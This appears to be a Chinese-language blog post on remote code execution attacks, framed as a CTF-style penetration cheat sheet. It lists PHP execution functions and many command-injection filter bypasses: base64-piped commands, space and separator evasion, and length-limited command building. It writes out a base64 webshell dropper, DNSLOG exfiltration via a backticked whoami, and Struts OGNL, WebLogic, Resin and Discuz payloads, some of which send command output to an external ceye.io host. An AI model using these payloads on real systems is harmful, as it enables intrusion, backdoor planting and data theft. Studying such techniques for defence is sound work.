当前位置:网站首页>WEB 渗透之RCE
WEB 渗透之RCE
2022-08-03 18:13:00 【weixin_53150482】
RCE 代码执行漏洞
文章目录
1. 介绍
- 定义: RCE 又称为代码执行漏洞,可以使攻击者直接向后台服务器注入操作系统命令或者代码,从而控制后台系统
2. 产生原因
出现这种漏洞,一般都是因为应用在设计上需要给用户提供指定远程命令操作的接口,如果应用对于命令的控制极为严苛,(例如: 只能输入 IP 地址) 那么可能不会出现错误,但是如果对于命令的输入验证存在漏洞,那极有可能会演变为命令执行漏洞
3. 漏洞的利用
1. PHP 函数
1. 代码执行函数
函数 | 函数的功能 | 函数的利用文章链接 |
---|---|---|
eval() | 把字符串作为PHP代码执行 | PHP 代码执行漏洞总结大全 |
assert() | 断言,将字符串参数执行 | |
preg_replace() | 执行一个正则表达式的搜索和替换 | |
create_function() | 主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。 | |
array_map() | 将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。 | |
call_user_func() | 把第一个参数作为回调函数调用 | |
call_user_func_array() | 这个方法是内置函数,可以直接调用函数运行 | |
array_filter() | 用回调函数过滤数组中的元素 | |
uasort() | 利用自定义函数对数组中元素值进行排序 |
2. 命令执行函数
函数 | 作用 | 使用 |
---|---|---|
system() | 执行系统命令输出执行结果 | system("ls") |
exec() | 执行系统命令不输出执行结果,返回执行结果数组, (回显最后一行-必须 echo输出) | exec('ls', $result) |
passthru() | 执行系统命令,输出执行结果(支持二进制) | passthru('ls') |
shell_exec() | 执行系统命令不输出结果,返回执行结果字符串 | shell_exec('ls') |
popen() | 执行系统命令,不输出结果,返回一个资源类型 | popen('ls','r') |
`` | 反引号,执行系统命令,不输出结果,返回执行结果字符集 | \`ls` |
常用的PHP命令执行函数及利用方式 |
2. 绕过过滤方法
1. PHP 字符过滤
如果 PHP 被过滤了,可以使用短标签绕过,常见的 PHP 标签为 <?php ?> ,如果 PHP 字符被过滤了,可以使用短标签 <?= ?>
举例:
<?php system("ls") ?>
=<?= system("ls") ?>
如果拦截了
<?
可以使用 :<script language='php'> @eval($_POST[shell]); </script>
2. 过滤了关键字,如 过滤了 cat 、flag 等关键字
过滤了 cat ,可以使用如下函数代替:
• more:一页一页的显示档案内容 • less:与 more 类似 • head:查看头几行 • tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 • tail:查看尾几行 • nl:显示的时候,顺便输出行号 • od:以二进制的方式读取档案内容 • vi:一种编辑器,这个也可以查看 • vim:一种编辑器,这个也可以查看 • sort:可以查看 • uniq:可以查看 • file -f:报错出具体内容 • sh /flag 2>%261 //报错出文件内容
反斜杠绕过:
ca\t => cat fl\ag => flag ph\p => php
变量拼接法
?ip=192.168.0.1;a=l;b=s;$a$b
- 使用空变量 $* 和 [email protected] , $x, ${x} 绕过
- 反引号绕过
base64 加密绕过
echo "Y2F0IC9mbGFn"|base64 -d|bash //cat /flag
引号绕过
echo "Y2F0IC9mbGFn"|base64 -d|bash //cat /flag
反引号 `
当一个命令被解析时,它首先会执行反引号之间的操作。例如执行 echo `ls -a` 将 会首先执行 ls 并捕获其输出信息。然后再将它传递给 echo,并将 ls 的输出结果 打印在屏幕上,这被称为命令替换 echo `whoami`
$(command) 命令替换
这是命令替换的不同符号。当反引号被过滤或编码时,可能会更有效。
ping -c 4 |echo $(command)
3. 过滤了命令执行函数,如过滤了 system()
url 编码绕过
内联执行绕过:
在 Linux 中
命令
、$(命令) 都是执行命令的方式,输出查询结果的内容,比如使用 ls 查询出·的 index.php .那么ls
就代表了 index.php 这个文件,那么我们就可以使用 cat 命令查看 index.php 的内容,
4. 过滤一些文件读取命令
绕过方法
[[email protected] flag123]# curl file:///flag123/flag flag{ suifeng} [[email protected] flag123]# strings flag flag{ suifeng} [[email protected] flag123]# uniq -c flag 1 flag{ suifeng} [[email protected] flag123]# bash -v flag flag{ suifeng} flag: line 1: flag{ suifeng}: command not found [[email protected] flag123]# rev flag }gnefius{ galf [[email protected] flag123]#
find – 列出当前目录下的文件以及子目录的所有文件
5. 过滤空格
• {cat,flag.txt}
• cat${IFS}flag.txt
• cat$IFS$9flag.txt
• cat$IFS$1flag.txt
• cat<flag.txt
• %09替换
• cat<>flag.txt
• kg=$'\x20flag.txt'&&cat$kg
• (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
6. 过滤分割符 | &
• ; //两条命令都执行,windows不支持
• | //只执行后面那条命令
• || //只执行前面那条命令
• & //先执行command2后执行command1
• && //先执行command1后执行command2
• %0a //换行符
• %0d //回车符号
• %09 // TAB 键
• 用?>代替;在php中可以用?>来代替最后的一个;,因为php遇到定界符关闭标签会自动在末尾加上一个分号。
7. 过滤括号
使用不需要括号的函数进行绕过: eg echo
8. 输入字符串长度限制
# \指的是换行
# ls -t是将文本按时间排序输出
# ls -t >shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行
Linux 中命令换行:
在 Linux 中,我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 \ , 可以将一条命令写在多行,比如将 cat flag 写成这样:[email protected]:~# ca\ > t\ > fl\ > ag this is your flag
既然可以这样那我们是不是可以在某些限制长度的情况下执行命令,将命令一条一条输入一个文本中再执行,尝试一下:
[email protected]:~# echo "ca\\">cmd [email protected]:~# echo "t\\">>cmd [email protected]:~# echo " fl\\">>cmd [email protected]:~# echo "ag">>cmd [email protected]:~# cat cmd ca\ t\ fl\ ag [email protected]:~# sh cmd this is your flag
4. 命令执行漏洞外通信技巧
1. 利用管道符号写入 SHELL
如果在有漏洞的 WEB 服务器,有权限写入,利用 shell 命令写入 webshell 后门到网站,访问即可获取 webshell
echo "PD9waHAgcGhwaW5mbygpO2V2YWwoJF9QT1NUWydjbWQnXSk/Pg=="|base64 -d >shell.php
2. DNSLOG
DNSLOG 是一个显示解析记录的平台,在无回显的情况下,通过访问 DNSLOG ,DNSLOG 会把你访问的子域名的头文件记录下来, DNSLOG
在 Kaill 中输入: ping `whoami`.cdfybg.dnslog.cn
5. payload
Struts
xx.action?redirect:http://b182oj.ceye.io/%25{3*4} xx.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'whoami'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://b182oj.ceye.io/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
weblogic
/uddiexplorer/SearchPublicRegistries.jsp?operator=http://b182oj.ceye.io/test&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search
Resin
xxoo.com/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=http://b182oj.ceye.io/ssrf
Discuz
/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://b182oj.ceye.io/xx.jpg[/img]&formhash=xxoo
6. 漏洞使用
- CVE-2016-5374 复现
- PHP 远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】
com/t/2557)
- 靶场: [BJDCTF2020]ZJCTF,不过如此
- 漏洞复现
2. PHP 远程代码执行漏洞复现(CVE-2019-11043)【反弹shell成功】
边栏推荐
- “vite”和“vite预览”有什么区别?
- rhel8.3 系统下修改有线网卡配置信息实现联网
- warnings.warn(“Title is more than 31 characters. Some applications may not be able to read the file
- 什么是鉴权?一篇文章带你了解postman的多种方式
- 揭秘deepin 23,从这里开始!
- 六、用户身份认证
- EasyNTS上云网关断电重启后设备离线是什么原因?
- PHP基础笔记-NO.1
- 荧光标记多肽FITC/AMC/FAM/Rhodamine/TAMRA/Cy3/Cy5/Cy7-Peptide
- 2022/08/02------丑数
猜你喜欢
随机推荐
Selenium of reptiles
微信小程序分享功能
大佬,谁有空帮忙看下这个什么问题呢,我就读取MySQLsource print下,刚接触flink,
H.265网页播放器EasyPlayer获取视频流正常,但是播放出现黑屏是什么原因?
WPF implements column chart
ATM银行系统(对象初级练习)
【美丽天天秒】链动2+1模式开发
智能合约安全——delegatecall (2)
Blender script 删除所有幽灵对象
STM32——LCD—FSMC原理简介
PHP基础笔记-NO.1
云渲染的优势与劣势
理想L9旗舰级的安全性有多强?守护一家人安全出行“底线”
excel写入不完全sheet.append方法(openpyxl)
中国算力大会昇腾鲲鹏生态论坛举办;快手成立独立to B业务部门…
【Django-Docker】Sqlite3.db读取权限不够-20220803
OSError: [WinError 123] 文件名、目录名或卷标语法不正确
ImportError: /lib/libgdal.so.26: undefined symbol: sqlite3_column_table_name
2021年数据泄露成本报告解读
oracle 分组合并字段,每组行显示